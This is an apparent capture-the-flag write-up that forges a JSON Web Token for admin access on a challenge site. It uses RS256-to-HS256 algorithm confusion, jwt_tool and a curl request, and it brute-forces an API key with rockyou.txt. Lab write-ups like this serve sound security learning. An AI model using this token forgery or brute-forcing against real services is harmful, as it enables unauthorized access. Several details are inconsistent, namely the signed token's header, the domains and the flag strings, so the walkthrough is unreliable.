

Devils Code

Challenge Description :

In the Grand Line of the web, hidden treasures await those who dare to seek them. The Straw Hat Pirates have stumbled upon a mysterious website that holds a vital clue to the One Piece. But only those who can decipher the Devil's Code will be able to unlock its secrets. Navigate through the hidden layers, bypass the traps, and uncover the truth behind this enigmatic web challenge. Do you have what it takes to claim the treasure and reveal the flag?

Walkthrough:

Step 1: Analyze the Provided JWT

You are given a JWT that looks something like this:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1b2w1Ijoic2FuIiwidHlwZSI6InVzZXIiLCJpYXQiOiJlMjUzZmZ0YsImV4cCI6MTcyNTk3Njk4NiwiYm9uY2UiOiI1ZDQxNDAYWJjNGIyYTc2YjYk3MTlk0TEExMDE3YzU5MiJ9.PU_hUutIh900cAEtPPl4eTHzEz1Ca0275GiEi2jzacFAeksjr0bRANj-  
gfub93Jse3WG1TporInUZvHhZ8eWv0IAJ3qVqUUuEkhrU0pBg5BDrY8u0aw7XzoniFRrcjL5_Hgm  
-T9rRab_M001bJADEXPXGI08adPDAA8LkT9nvDVBtLspFj-  
vKkLH9cb27grXS6xgBNgrJlHwRldcDMYAPTEAJ91rfHd61SWHqKMvMwz97gx3YpAxpD_INDqx0D  
yWKXzWb9sufT4wke5TVntBrAPp0A2iDQfNlduzdjEoPE8Xr6z95n0uzXyTnC0Ts6doQfaTrakMRJ  
ijFxaNK9Deg
```

The three parts of the token are:

1. **Header:** Encoded JSON that contains the algorithm and token type.
2. **Payload:** Encoded data with user info, such as `"name": "san", "type": "user"`.
3. **Signature:** A cryptographic signature using the private key.

Step 2: Decode the JWT

Use an online tool like jwt.io to decode the JWT. You'll see something like this:

Header:

```
{
  "alg": "RS256",
  "typ": "JWT"
}
```

Payload:

```
{
  "name": "san",
  "type": "user",          // This is where the type is set to "user"
  "iat": 1725973386,
  "exp": 1725976986,
  "nonce": "5d41402abc4b2a76b9719d911017c592"
}
```

The payload shows the `"type": "user"`, but we need `"type": "admin"` to access the admin page.

Step 3: Modify the JWT Header and Payload

The trick is to modify the header to use `HS256` (a symmetric algorithm) and use the server's **public key** as the signing key to create a valid signature.

- **Change the header** from `RS256` to `HS256`.
- **Change the payload** from `"type": "user"` to `"type": "admin"`.

Modified Header:

```
{
  "alg": "HS256",
  "typ": "JWT"
}
```

Modified Payload:

```
{
  "name": "san",
  "type": "admin",
  "iat": 1725973386,
  "exp": 1725976986,
  "nonce": "5d41402abc4b2a76b9719d911017c592"
}
```

Step 4: Get the Modified JWT Token

Use the popular `jwt_tool` to modify the token

```
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2

Current value of type is: user
Please enter new value and hit ENTER
> admin
[1] name = "san"
[2] type = "admin"
[3] iat = 1725974289    ==> TIMESTAMP = 2024-09-10 18:48:09 (UTC)
[4] exp = 1725977889    ==> TIMESTAMP = 2024-09-10 19:48:09 (UTC)
[5] nonce = "5d41402abc4b2a76b9719d911017c592"
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

jwttool_4d8561a9aea493363d7bea1dbe6a3662 - Tampered token - RSA Signing:
[+] eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1eWw1Ijoic2FuIiwidHlwZSI6ImFkbWw1IiwiaWF0IjoxNzI1OTc0Mjg5LCJleHAiOjE3MjU5Nz
c4ODksIm5vbmNIjoInWQ0MTQwMmFiYzRiMmE3NmI5NzE5ZDkxMTAxN2M1OTIifQ.g0be7EY50Cbg4cg4_NOCUpEJt4faZ_vlvdEJbhTG69poYG0n-hcshw
U6mXH2Y73Jz-lAnWdhIA81LTVMofkxC4Ssz4cF-vFcT0_UvL2XWJVLVDKWPheasl0dp_1XW2G0-YBUsQFVAFcIBqHa14SLDZsC2gJ_7sj9SSJBZPm0zgT2Pb
dGDqIK9EYbR0e4PmSnIR6yh20DwcqnE4sLEAe0W0iUxRhReAx2RcPtP28dCY550uy_RwviIdddgYua3KRIB15Bi2Z9RzbBPDTE5xvvN4YaxyED0gEBKV9z
VfNVf2hZim32dI4uauI6dbPNJg0FwnysMZ1b_Jc97J1hxsDNuA

~/.jwt_tool  master !1 ?1  1 x 48s tmp 06:49:40 PM
```

Step 6: Send the New Token to the Admin Page With the Secret Key

Now, take the newly generated token and send it to the `/api/admin` endpoint.

```
~/.jwt_tool master !1 ?1 tmp 06:56:02 PM
```

```
curl -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJJuYmllLjoiOiEwMTQxMTEyOTFfQWVlbnNpdDpmOGE6ZS5kZWxzMTAxNTg0ODp1XWZldGVjbHTG69poYGON-hcsHWU6MHXY7Y3Jz-lANwdhiA8LTVMofKxC4Sz4CF-vFcT0_UvL2XWJVLYDKWPheasLOdp_1XWZldGV- YBUsQVFVAFCIBqHa t4SLdZSc2gJ_7sj9SSJBZPm0zgT2PbdGdqIK9EyBr0e4PMsnIR6yh20DWdcqnE4slEAe0WiUxRhReAX2RCptP28dCY50uy_RwwiIdggYua3KRib15Bi2 Z9RzbBPDTESxxvvN4YaxyeD0geEBKV9zvFNvf2hzim32di4uuI6dbPNJg0FWnysMZ1b_Jc97JJhxSDNuA" https://challenge1.whitehatians.in/api/admin?key=PuNkStarSsvK134"
```

```
{  
    "flag": "HACKOPS{D3vl_l_Fr0g_c0d3_Unle@sh3d}"  
}
```

Note : you need to bruteforce the secret key in burp intruder using the wordlist rockyou.txt . End point :

`https://challenge1.whatians.in/api/admin?key="key from rockyou.txt"`

Step 7: Access the Admin Panel and Extract the Flag

If the server accepts the modified token, you should gain access to the admin panel and receive the flag.

After sending a valid token, you'll get a response like:

```
HTTP/1.1 200 OK
Content-Type: application/json

{
  "flag": "HACKOPS{D3v!_l_Fr0g_c0d3_Unle@sh3d}"
}
```

This indicates that you've successfully exploited the JWT token to access the admin panel and retrieve the flag.